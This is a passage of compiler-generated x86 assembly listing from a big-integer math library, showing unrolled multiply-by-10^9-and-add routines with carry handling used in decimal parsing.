mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+32]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+36]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+40]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+44]
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+44], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+48]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+52]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+52], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+56]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+60]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 616 : u_buf += 16;
add ecx, 64 ; 00000040H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 16 ; 00000010H
lock xadd DWORD PTR [edx], eax
$LN509@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 625 : if (u_count & 0x8)
test bl, 8
je $LN593@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 635 : u_buf += 8;
add ecx, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 8
lock xadd DWORD PTR [edx], eax
$LN593@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 644 : if (u_count & 0x4)
test bl, 4
je SHORT $LN637@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 650 : u_buf += 4;
add ecx, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 4
lock xadd DWORD PTR [edx], eax
$LN637@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 659 : if (u_count & 0x2)
test bl, 2
je SHORT $LN661@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, 2
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 663 : u_buf += 2;
add ecx, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, OFFSET _statistics_info+4
lock xadd DWORD PTR [eax], edx
$LN661@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 672 : if (u_count & 0x1)
test bl, 1
je SHORT $LN675@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
mov edi, edx
mov DWORD PTR [ecx], eax
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 675 : u_buf += 1;
add ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
$LN675@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 684 : if (k > 0)
test edi, edi
je SHORT $LN680@MultiplyAn
; 685 : {
; 686 : u_buf[0] = k;
mov DWORD PTR [ecx], edi
; 687 : u_buf += 1;
lea eax, DWORD PTR [ecx+4]
pop edi
; 688 : }
; 689 :
; 690 : return (u_buf);
; 691 : }
pop esi
pop ebx
pop ebp
ret 0
$LN680@MultiplyAn:
pop edi
pop esi
mov eax, ecx
pop ebx
pop ebp
ret 0
_MultiplyAndAdd_using_ADCX_MULX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd_using_ADC_MUL
_TEXT SEGMENT
_u_buf$ = 8 ; size = 4
_u_count$ = 12 ; size = 4
_x$ = 16 ; size = 4
_MultiplyAndAdd_using_ADC_MUL PROC ; COMDAT
; 408 : {
push ebp
mov ebp, esp
; 409 : __UNIT_TYPE k = x;
; 410 : __UNIT_TYPE count = u_count >> 5;
; 411 : while (count > 0)
mov ecx, DWORD PTR _u_buf$[ebp]
push ebx
mov ebx, DWORD PTR _u_count$[ebp]
mov eax, ebx
push esi
shr eax, 5
push edi
mov edi, DWORD PTR _x$[ebp]
test eax, eax
je $LN3@MultiplyAn
mov ebx, eax
npad 2
$LL2@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+32]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+36]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
